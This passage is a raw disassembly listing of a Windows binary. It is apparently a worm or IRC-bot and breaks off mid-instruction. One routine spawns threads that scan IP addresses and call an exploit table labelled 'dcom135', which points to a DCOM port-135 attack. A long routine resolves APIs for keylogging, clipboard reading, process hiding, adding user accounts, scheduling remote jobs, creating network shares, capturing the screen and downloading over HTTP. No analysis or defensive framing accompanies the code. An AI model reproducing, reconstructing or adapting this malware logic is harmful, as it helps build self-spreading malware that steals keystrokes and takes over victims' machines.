movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_41A090 ; GetTickCount push eax call sub_41018E mov ebx, esi pop ecx imul ebx, 234h loc_4037F5: ; CODE XREF: sub_4037AE+204j mov eax, dword_42D2DC[ebx] cmp dword_424F1C[eax*8], 0 jz loc_4039B7 cmp [ebp+var_10], 0 push eax jz short loc_40381F lea eax, [ebp+var_150] push eax call sub_403675 pop ecx jmp short loc_403824 ; --------------------------------------------------------------------------- loc_40381F: ; CODE XREF: sub_4037AE+60j call sub_40362D loc_403824: ; CODE XREF: sub_4037AE+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_42D2DC[ebx] push [ebp+var_3C] push edi call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset dword_41E3A4 push eax call sub_40EE10 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_42D0D8[ebx] push eax call sub_40EE10 push [ebp+var_38] push [ebp+var_3C] push edi call sub_403711 add esp, 14h cmp eax, 1 jnz loc_4039A7 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4038FB push offset dword_4271C0 call dword_41A08C ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset dword_41E368 push eax call sub_40EE10 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_4038DD cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_4038D1 lea eax, [ebp+var_140] loc_4038D1: ; CODE XREF: sub_4037AE+11Bj push eax push [ebp+var_40] call sub_4084CC add esp, 14h loc_4038DD: ; CODE XREF: sub_4037AE+100j lea eax, [ebp+var_28C] push eax call sub_407A4E mov [esp+2A8h+var_2A8], offset dword_4271C0 call dword_41A088 ; RtlLeaveCriticalSection jmp loc_4039A7 ; --------------------------------------------------------------------------- loc_4038FB: ; CODE XREF: sub_4037AE+D0j push edi call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_40EE10 mov eax, [ebp+var_20] pop ecx imul eax, 38h pop ecx add eax, offset aDcom135 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_40EE10 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_403940 lea eax, [ebp+var_140] loc_403940: ; CODE XREF: sub_4037AE+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_40EE10 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 38h sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_41E0FC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_4039A7: ; CODE XREF: sub_4037AE+C6j ; sub_4037AE+148j push 7D0h call dword_41A060 ; Sleep jmp loc_4037F5 ; --------------------------------------------------------------------------- loc_4039B7: ; CODE XREF: sub_4037AE+55j push esi call sub_40E4F2 pop ecx push 0 call dword_41A084 ; ExitThread sub_4037AE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039C6 proc near ; DATA XREF: sub_40997B+278Fo ; sub_40997B+32F5o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_427354 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_424F18[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_4034A7 push 8 call sub_40E41E add esp, 150h cmp eax, ebx jnz short loc_403A94 mov esi, offset dword_4271C0 push esi call dword_41A098 ; RtlDeleteCriticalSection push 80000400h push esi call dword_41A094 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_403A94 lea eax, [ebp+var_1CC] push offset unk_41E4D8 push eax call sub_40EE10 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_403A7E push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_4084CC add esp, 14h loc_403A7E: ; CODE XREF: sub_4039C6+99j lea eax, [ebp+var_1CC] push eax call sub_407A4E pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_403A94: ; CODE XREF: sub_4039C6+63j ; sub_4039C6+7Fj mov eax, [ebp+var_2C] mov esi, dword_41A060 mov edi, ebx mov dword_424F1C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_403B61 loc_403AB2: ; CODE XREF: sub_4039C6+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset dword_41E48C push eax call sub_40EE10 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_40E1D6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_42D2DC[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_4037AE push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_403B2C loc_403B21: ; CODE XREF: sub_4039C6+164j cmp [ebp+var_4], ebx jnz short loc_403B53 push 1Eh call esi ; Sleep jmp short loc_403B21 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4039C6+159j call dword_41A07C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset dword_41E448 push eax call sub_40EE10 lea eax, [ebp+var_1CC] push eax call sub_407A4E add esp, 10h loc_403B53: ; CODE XREF: sub_4039C6+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_403AB2 loc_403B61: ; CODE XREF: sub_4039C6+E6j cmp [ebp+var_30], ebx jz loc_403C0B mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_403B76: ; CODE XREF: sub_4039C6+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_424F18[eax*8] push eax call dword_4273A0 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_41E3F4 push eax call sub_40EE10 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_403BC4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_4084CC add esp, 14h loc_403BC4: ; CODE XREF: sub_4039C6+1DFj lea eax, [ebp+var_1CC] push eax call sub_407A4E mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_424F1C[eax*8], ebx call esi ; Sleep push 8 call sub_40E41E cmp eax, 1 pop ecx jnz short loc_403BFB push offset dword_4271C0 call dword_41A098 ; RtlDeleteCriticalSection loc_403BFB: ; CODE XREF: sub_4039C6+228j push [ebp+var_2C] call sub_40E4F2 pop ecx push ebx call dword_41A084 ; ExitThread loc_403C0B: ; CODE XREF: sub_4039C6+19Ej ; sub_4039C6+25Dj mov eax, [ebp+var_2C] cmp dword_424F1C[eax*8], 1 jnz loc_403B76 push 7D0h call esi ; Sleep jmp short loc_403C0B sub_4039C6 endp ; =============== S U B R O U T I N E ======================================= sub_403C25 proc near ; CODE XREF: sub_409034+48p push ebx push ebp mov ebp, dword_41A0A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_41A0A0 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_403D45 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4273C0, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_427334, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_427318, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_427234, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4271E0, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_427210, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_427284, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_427374, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4273D0, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_427240, eax call esi ; GetProcAddress cmp dword_4273C0, ebx mov dword_427228, eax jz short loc_403D23 cmp dword_427334, ebx jz short loc_403D23 cmp dword_427318, ebx jz short loc_403D23 cmp dword_427234, ebx jz short loc_403D23 cmp dword_427210, ebx jz short loc_403D23 cmp dword_427284, ebx jz short loc_403D23 cmp dword_427374, ebx jz short loc_403D23 cmp dword_4273D0, ebx jz short loc_403D23 cmp dword_427240, ebx jz short loc_403D23 cmp eax, ebx jnz short loc_403D2D loc_403D23: ; CODE XREF: sub_403C25+B8j ; sub_403C25+C0j ... mov dword_4273D4, 1 loc_403D2D: ; CODE XREF: sub_403C25+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_42734C, eax jz short loc_403D5A push 1 push ebx call eax jmp short loc_403D5A ; --------------------------------------------------------------------------- loc_403D45: ; CODE XREF: sub_403C25+1Dj call dword_41A07C ; RtlGetLastWin32Error mov dword_4273D8, eax mov dword_4273D4, 1 loc_403D5A: ; CODE XREF: sub_403C25+117j ; sub_403C25+11Ej push offset aUser32_dll ; "user32.dll" call dword_41A09C ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_403E6F push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_427370, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_427320, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4272B4, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4273C4, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4272E4, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_427304, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_427368, eax call esi ; GetProcAddress cmp dword_427370, ebx mov dword_42725C, eax jz short loc_403E13 cmp dword_427320, ebx jz short loc_403E13 cmp dword_4272B4, ebx jz short loc_403E13 cmp dword_4273C4, ebx jz short loc_403E13 cmp dword_4272E4, ebx jz short loc_403E13 cmp dword_427304, ebx jz short loc_403E13 cmp dword_427368, ebx jz short loc_403E13 cmp eax, ebx jnz short loc_403E1D loc_403E13: ; CODE XREF: sub_403C25+1B8j ; sub_403C25+1C0j ... mov dword_4273DC, 1 loc_403E1D: ; CODE XREF: sub_403C25+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4272E0, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4271F4, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4272B0, eax call esi ; GetProcAddress cmp dword_4272E0, ebx mov dword_42729C, eax jz short loc_403E7A cmp dword_4271F4, ebx jz short loc_403E7A cmp dword_4272B0, ebx jz short loc_403E7A cmp eax, ebx jnz short loc_403E84 jmp short loc_403E7A ; --------------------------------------------------------------------------- loc_403E6F: ; CODE XREF: sub_403C25+144j call dword_41A07C ; RtlGetLastWin32Error mov dword_4273E0, eax loc_403E7A: ; CODE XREF: sub_403C25+232j ; sub_403C25+23Aj ... mov dword_4273DC, 1 loc_403E84: ; CODE XREF: sub_403C25+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40401F push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_427384, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4272C8, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_427338, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_427220, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_427280, eax call esi ; GetProcAddress cmp dword_427384, ebx mov dword_4272F0, eax jz short loc_403F0F cmp dword_4272C8, ebx jz short loc_403F0F cmp dword_427338, ebx jz short loc_403F0F cmp dword_427220, ebx jz short loc_403F0F cmp dword_427280, ebx jz short loc_403F0F cmp eax, ebx jnz short loc_403F19 loc_403F0F: ; CODE XREF: sub_403C25+2C4j ; sub_403C25+2CCj ... mov dword_4273E4, 1 loc_403F19: ; CODE XREF: sub_403C25+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4272F8, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4272D0, eax call esi ; GetProcAddress cmp dword_4272F8, ebx mov dword_427380, eax jz short loc_403F54 cmp dword_4272D0, ebx jz short loc_403F54 cmp eax, ebx jnz short loc_403F5E loc_403F54: ; CODE XREF: sub_403C25+321j ; sub_403C25+329j mov dword_4273E4, 1 loc_403F5E: ; CODE XREF: sub_403C25+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_427308, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4271FC, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_427204, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_427264, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_427268, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_427218, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4272D4, eax call esi ; GetProcAddress cmp dword_427308, ebx mov dword_427208, eax jz short loc_404002 cmp dword_4271FC, ebx jz short loc_404002 cmp dword_427204, ebx jz short loc_404002 cmp dword_427264, ebx jz short loc_404002 cmp dword_427268, ebx jz short loc_404002 cmp dword_427218, ebx jz short loc_404002 cmp dword_4272D4, ebx jz short loc_404002 cmp eax, ebx jnz short loc_40400C loc_404002: ; CODE XREF: sub_403C25+3A7j ; sub_403C25+3AFj ... mov dword_4273E4, 1 loc_40400C: ; CODE XREF: sub_403C25+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_427200, eax jnz short loc_404034 jmp short loc_40402A ; --------------------------------------------------------------------------- loc_40401F: ; CODE XREF: sub_403C25+26Aj call dword_41A07C ; RtlGetLastWin32Error mov dword_4273E8, eax loc_40402A: ; CODE XREF: sub_403C25+3F8j mov dword_4273E4, 1 loc_404034: ; CODE XREF: sub_403C25+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_404100 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_427300, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_427358, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_427360, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_42731C, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_427244, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4271F0, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_42735C, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4271DC, eax call esi ; GetProcAddress cmp dword_427300, ebx mov dword_427278, eax jz short loc_40410B cmp dword_427358, ebx jz short loc_40410B cmp dword_427360, ebx jz short loc_40410B cmp dword_42731C, ebx jz short loc_40410B cmp dword_427244, ebx jz short loc_40410B cmp dword_4271F0, ebx jz short loc_40410B cmp dword_42735C, ebx jz short loc_40410B cmp dword_4271DC, ebx jz short loc_40410B cmp eax, ebx jnz short loc_404115 jmp short loc_40410B ; --------------------------------------------------------------------------- loc_404100: ; CODE XREF: sub_403C25+41Aj call dword_41A07C ; RtlGetLastWin32Error mov dword_4273F0, eax loc_40410B: ; CODE XREF: sub_403C25+49Bj ; sub_403C25+4A3j ... mov dword_4273EC, 1 loc_404115: ; CODE XREF: sub_403C25+4D7j mov ebp, dword_41A09C push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4043D1 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_42728C, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4273B8, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_427230, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_42720C, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4272C0, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4272A8, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_427274, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_427394, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4273B0, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4272BC, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4273A0, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_427354, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_427314, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_427310, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_427250, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_427248, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_427364, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_427378, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_42732C, eax call esi ; GetProcAddress mov dword_4272EC, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_427340, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4272FC, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_42733C, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4273A8, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4272F4, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4272B8, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_427328, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_427398, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4272CC, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_427270, eax call esi ; GetProcAddress cmp dword_42728C, ebx mov dword_4273AC, eax jz loc_4043DC cmp dword_4273B8, ebx jz loc_4043DC cmp dword_427230, ebx jz loc_4043DC cmp dword_4272C0, ebx jz loc_4043DC cmp dword_4272A8, ebx jz loc_4043DC cmp dword_427274, ebx jz loc_4043DC cmp dword_427394, ebx jz loc_4043DC cmp dword_4273B0, ebx jz loc_4043DC cmp dword_4272BC, ebx jz loc_4043DC cmp dword_4273A0, ebx jz loc_4043DC cmp dword_427354, ebx jz loc_4043DC cmp dword_427314, ebx jz loc_4043DC cmp dword_427310, ebx jz loc_4043DC cmp dword_427250, ebx jz short loc_4043DC cmp dword_427364, ebx jz short loc_4043DC cmp dword_427378, ebx jz short loc_4043DC cmp dword_42732C, ebx jz short loc_4043DC cmp dword_4272EC, ebx jz short loc_4043DC cmp dword_427340, ebx jz short loc_4043DC cmp dword_4272FC, ebx jz short loc_4043DC cmp dword_42733C, ebx jz short loc_4043DC cmp dword_4273A8, ebx jz short loc_4043DC cmp dword_4272F4, ebx jz short loc_4043DC cmp dword_4272B8, ebx jz short loc_4043DC cmp dword_427328, ebx jz short loc_4043DC cmp dword_427398, ebx jz short loc_4043DC cmp dword_4272CC, ebx jz short loc_4043DC cmp eax, ebx jnz short loc_4043E6 jmp short loc_4043DC ; --------------------------------------------------------------------------- loc_4043D1: ; CODE XREF: sub_403C25+501j call dword_41A07C ; RtlGetLastWin32Error mov dword_4273F8, eax loc_4043DC: ; CODE XREF: sub_403C25+6A0j ; sub_403C25+6ACj ... mov dword_4273F4, 1 loc_4043E6: ; CODE XREF: sub_403C25+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4044EB push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_427258, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4271E4, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4272DC, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_427290, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4272E8, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4272AC, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_427224, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_42721C, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_42722C, eax call esi ; GetProcAddress cmp dword_427258, ebx mov ecx, dword_4272AC mov dword_427348, eax jz short loc_4044C7 cmp dword_4271E4, ebx jz short loc_4044C7 cmp dword_4272DC, ebx jz short loc_4044C7 cmp dword_427290, ebx jz short loc_4044C7 cmp dword_4272E8, ebx jz short loc_4044C7 cmp ecx, ebx jz short loc_4044C7 cmp dword_427224, ebx jz short loc_4044C7 cmp dword_42721C, ebx jz short loc_4044C7 cmp dword_42722C, ebx jz short loc_4044C7 cmp eax, ebx jnz short loc_4044D1 loc_4044C7: ; CODE XREF: sub_403C25+860j ; sub_403C25+868j ... mov dword_4273FC, 1 loc_4044D1: ; CODE XREF: sub_403C25+8A0j cmp ecx, ebx jz short loc_404506 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4272C4, eax jnz short loc_404506 jmp short loc_404500 ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_403C25+7CCj call dword_41A07C ; RtlGetLastWin32Error mov dword_427400, eax mov dword_4273FC, 1 loc_404500: ; CODE XREF: sub_403C25+8C4j mov dword_4272C4, ebx loc_404506: ; CODE XREF: sub_403C25+8AEj ; sub_403C25+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_404550 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4272A0, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4273CC, eax call esi ; GetProcAddress cmp dword_4272A0, ebx mov dword_427238, eax jz short loc_40455B cmp dword_4273CC, ebx jz short loc_40455B cmp eax, ebx jnz short loc_404565 jmp short loc_40455B ; --------------------------------------------------------------------------- loc_404550: ; CODE XREF: sub_403C25+8ECj call dword_41A07C ; RtlGetLastWin32Error mov dword_427408, eax loc_40455B: ; CODE XREF: sub_403C25+91Bj ; sub_403C25+923j ... mov dword_427404, 1 loc_404565: ; CODE XREF: sub_403C25+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40465B push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_427214, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4271EC, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_427260, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_427294, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4273A4, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_42724C, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4271F8, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4271E8, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_42727C, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_42736C, eax call esi ; GetProcAddress cmp dword_427214, ebx mov dword_427324, eax jz short loc_404666 cmp dword_4271EC, ebx jz short loc_404666 cmp dword_427260, ebx jz short loc_404666 cmp dword_427294, ebx jz short loc_404666 cmp dword_4273A4, ebx jz short loc_404666 cmp dword_42724C, ebx jz short loc_404666 cmp dword_4271F8, ebx jz short loc_404666 cmp dword_4271E8, ebx jz short loc_404666 cmp dword_42727C, ebx jz short loc_404666 cmp dword_42736C, ebx jz short loc_404666 cmp eax, ebx jnz short loc_404670 jmp short loc_404666 ; --------------------------------------------------------------------------- loc_40465B: ; CODE XREF: sub_403C25+94Bj call dword_41A07C ; RtlGetLastWin32Error mov dword_427410, eax loc_404666: ; CODE XREF: sub_403C25+9E6j ; sub_403C25+9EEj ... mov dword_42740C, 1 loc_404670: ; CODE XREF: sub_403C25+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4046A5 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_42723C, eax call esi ; GetProcAddress cmp dword_42723C, ebx mov dword_42730C, eax jz short loc_4046B0 cmp eax, ebx jnz short loc_4046BA jmp short loc_4046B0 ; --------------------------------------------------------------------------- loc_4046A5: ; CODE XREF: sub_403C25+A56j call dword_41A07C ; RtlGetLastWin32Error mov dword_427418, eax loc_4046B0: ; CODE XREF: sub_403C25+A78j ; sub_403C25+A7Ej mov dword_427414, 1 loc_4046BA: ; CODE XREF: sub_403C25+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4046EF push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_427390, eax call esi ; GetProcAddress cmp dword_427390, ebx mov dword_42738C, eax jz short loc_4046FA cmp eax, ebx jnz short loc_404704 jmp short loc_4046FA ; --------------------------------------------------------------------------- loc_4046EF: ; CODE XREF: sub_403C25+AA0j call dword_41A07C ; RtlGetLastWin32Error mov dword_427420, eax loc_4046FA: ; CODE XREF: sub_403C25+AC2j ; sub_403C25+AC8j mov dword_42741C, 1 loc_404704: ; CODE XREF: sub_403C25+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_404763 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4273BC, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4273B4, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_42737C, eax call esi ; GetProcAddress cmp dword_4273BC, ebx mov dword_427254, eax jz short loc_40476E cmp dword_4273B4, ebx jz short loc_40476E cmp 